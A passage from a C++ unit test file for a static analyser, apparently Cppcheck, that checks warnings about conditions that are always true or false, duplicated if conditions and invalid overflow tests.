}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 